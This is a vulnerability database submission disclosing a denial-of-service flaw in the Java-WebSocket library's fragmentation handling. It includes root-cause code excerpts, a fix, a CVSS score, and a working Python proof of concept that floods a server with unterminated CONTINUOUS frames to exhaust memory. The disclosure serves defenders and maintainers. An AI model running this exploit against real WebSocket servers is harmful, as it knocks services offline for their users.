Soumettre #913786: TooTallNate Java-WebSocket 1.6.0 Allocation of Resources Without Limits or Throttlinginformation

TitreTooTallNate Java-WebSocket 1.6.0 Allocation of Resources Without Limits or Throttling
Description Java-WebSocket (TooTallNate) – Incomplete Buffer Limit Check in Fragmentation Handling (Draft_6455) Vulnerability Type: CWE-770: Allocation of Resources Without Limits or Throttling Affected Component: Draft_6455.java – processFrameContinuousAndNonFin() method – WebSocket fragmentation handling logic Affected Versions: 1.6.1-SNAPSHOT (confirmed) and likely all versions using Draft_6455 with configurable maxFrameSize Description: The Java-WebSocket library (TooTallNate) contains an incomplete implementation of the buffer limit check in the fragmentation handling logic of the Draft_6455 WebSocket protocol implementation. When a user configures maxFrameSize to limit the accumulated message size, intermediate CONTINUOUS frames bypass this limit entirely, allowing unbounded memory allocation regardless of the configured threshold. Root Cause Analysis: The WebSocket protocol (RFC 6455) allows messages to be fragmented across multiple frames: one initial frame (TEXT or BINARY) followed by zero or more CONTINUOUS frames, ending with a FIN frame. Draft_6455 implements a checkBufferLimit() method intended to enforce the configured maxFrameSize on the accumulated message payload. However, this check is only invoked at two points: First frame — processFrameIsNotFin() (line 1045) Last frame — processFrameIsFin() (line 1007) For all intermediate CONTINUOUS frames, the code path flows through processFrameContinuousAndNonFin() (lines 928–948), which calls addToBufferList() without calling checkBufferLimit(): java // Draft_6455.java, lines 928-948 private void processFrameContinuousAndNonFin(WebSocketImpl webSocketImpl, Framedata frame, Opcode curop) throws InvalidDataException { if (curop != Opcode.CONTINUOUS) { processFrameIsNotFin(frame); // ✓ calls checkBufferLimit() } else if (frame.isFin()) { processFrameIsFin(webSocketImpl, frame); // ✓ calls checkBufferLimit() } else if (currentContinuousFrame == null) { throw new InvalidDataException(...); } // For intermediate CONTINUOUS frames: if (curop == Opcode.CONTINUOUS && currentContinuousFrame != null) { addToBufferList(frame.getPayloadData()); // NO checkBufferLimit()! } } The addToBufferList() method (line 1089) simply appends the payload to a synchronized list with no accumulated size check: java private void addToBufferList(ByteBuffer payloadData) { byteBufferList.add(payloadData); } The checkBufferLimit() method (lines 1101–1108) exists and would correctly enforce the limit, but it is never reached for intermediate frames: java private void checkBufferLimit() throws LimitExedeedException { if (currentContinuousFrame == null) return; long totalSize = getBufferSize(); // sums all entries in byteBufferList if (totalSize > maxFrameSize) { throw new LimitExedeedException(...); } } Attack Scenario: An attacker can exploit this by sending a sequence of fragmented WebSocket frames where each individual frame is within the per-frame maxFrameSize limit (enforced by translateSingleFrame()), but the accumulated total across CONTINUOUS frames far exceeds the configured threshold: Attacker completes WebSocket handshake with target server Sends a non-FIN TEXT frame (starts fragmented message, triggers checkBufferLimit() — passes because payload < maxFrameSize) Sends N large non-FIN CONTINUOUS frames (each passes per-frame limit check, but checkBufferLimit() is never called on accumulated buffer) Never sends FIN frame — the final checkBufferLimit() in processFrameIsFin() never triggers Server memory grows unbounded with each CONTINUOUS frame → OutOfMemoryError / Denial of Service The maxFrameSize configuration gives users a false sense of protection: the limit is enforced on individual frames and on the first/last frames of a fragmented message, but not on the accumulated total during the fragmentation process. Steps to Reproduce: Deploy a WebSocket server using Draft_6455 with maxFrameSize configured to 1,048,576 bytes (1 MB) Complete the WebSocket handshake with the target server Send a non-FIN TEXT frame with payload size less than maxFrameSize (e.g., 100,000 bytes) Send multiple non-FIN CONTINUOUS frames, each with payload size less than maxFrameSize (e.g., 100,000 bytes each) Observe that the server accepts all frames without enforcing the configured maxFrameSize limit The accumulated buffer grows to multiple megabytes (e.g., 10.6 MB) — exceeding the configured limit by 10.6× No error or limit exception is thrown; the connection remains open Proof of Concept (PoC): python # poc_vuln1_continuous_flood.py — send fragmented frames with no FIN import socket import struct import time def create_frame(payload, opcode=0x1, fin=0, mask=True): """Create WebSocket frame (client-to-server: masked)""" header = bytearray() header.append((fin << 7) | opcode) length = len(payload) if length < 126: header.append(0x80 | length) # masked flag set elif length < 65536: header.append(0x80 | 126) header.extend(struct.pack('>H', length)) else: header.append(0x80 | 127) header.extend(struct.pack('>Q', length)) mask_key = struct.pack('>I', 0x12345678) # static mask for demo header.extend(mask_key) masked_payload = bytes([p ^ mask_key[i % 4] for i, p in enumerate(payload)]) return bytes(header) + masked_payload # Connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('localhost', 8887)) # Perform WebSocket handshake handshake = ( "GET / HTTP/1.1\r\n" "Host: localhost:8887\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" "Sec-WebSocket-Version: 13\r\n" "\r\n" ) sock.send(handshake.encode()) sock.recv(4096) # Send initial non-FIN TEXT frame (opcode=0x1, fin=0) payload = b'A' * 100000 sock.send(create_frame(payload, opcode=0x1, fin=0)) print(f"[+] Sent initial TEXT frame: {len(payload)} bytes") # Send 110 CONTINUOUS frames (opcode=0x0, fin=0) for i in range(110): payload = b'B' * 100000 sock.send(create_frame(payload, opcode=0x0, fin=0)) if (i + 1) % 10 == 0: total = (i + 2) * 100000 # +1 initial frame print(f"[+] Sent {i+1}/110 | accumulated = {total/1024/1024:.1f} MB") time.sleep(0.01) print("[!] FIN frame not sent — checkBufferLimit() never triggers") sock.close() PoC Validation Results: Metric Value Server maxFrameSize configured 1,048,576 bytes (1 MB) Each CONTINUOUS frame payload 100,000 bytes (~97 KB) Number of CONTINUOUS frames sent 110 Initial TEXT frame payload 100,000 bytes Total accumulated payload 11,100,000 bytes (10.6 MB) Exceeded limit by 10.6× The server accepted all 111 frames accumulating 10.6 MB — exceeding the configured 1 MB limit by 10.6× — without triggering any size enforcement. The checkBufferLimit() method was never called for any of the 110 intermediate CONTINUOUS frames. The connection remained open and functional throughout. Impact: An unauthenticated remote attacker who establishes a WebSocket connection can exploit this vulnerability to exhaust server memory by sending a series of fragmented CONTINUOUS frames without terminating the fragmentation sequence. This results in unbounded memory allocation leading to: OutOfMemoryError (OOM) — server process crashes Denial of Service (DoS) — legitimate connections cannot be served The maxFrameSize configuration provides a false sense of security: administrators believe they have configured a buffer limit, but the limit is not enforced on intermediate fragmented frames. The vulnerability affects any application using the Java-WebSocket library's Draft_6455 implementation with a configured maxFrameSize. Data NOT Exposed: This is a Denial of Service vulnerability. No data is leaked or exposed; the impact is exclusively availability-related (resource exhaustion). Remediation: Add checkBufferLimit() call after addToBufferList() for intermediate CONTINUOUS frames: java // In processFrameContinuousAndNonFin(), after the CONTINUOUS branch: if (curop == Opcode.CONTINUOUS && currentContinuousFrame != null) { addToBufferList(frame.getPayloadData()); checkBufferLimit(); // ← ADD THIS LINE } This ensures that the configured maxFrameSize is enforced on the accumulated buffer after every CONTINUOUS frame, not just the first and last frames. CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Score: 7.5 High) Rationale for CVSS Score: Attack Vector: Network (exploitable remotely) Attack Complexity: Low (standard WebSocket frames) Privileges Required: None (unauthenticated) User Interaction: None Scope: Unchanged Confidentiality Impact: None (no data leak) Integrity Impact: None (no data modification) Availability Impact: High (server crash via OOM)
La source⚠️ https://github.com/TooTallNate/Java-WebSocket/issues/1508
Utilisateur
 emiya (UID 100287)
Soumission03/08/2026 07:41 (il y a 1 mois)
Modérer12/09/2026 19:40 (1 month later)
StatutAccepté
Entrée VulDB403169 [TooTallNate Java-WebSocket jusqu’à 1.6.1 Fragmentation Draft_6455.java processFrameContinuousAndNonFin déni de service]
Points20

Want to know what is going to be exploited?

We predict KEV entries!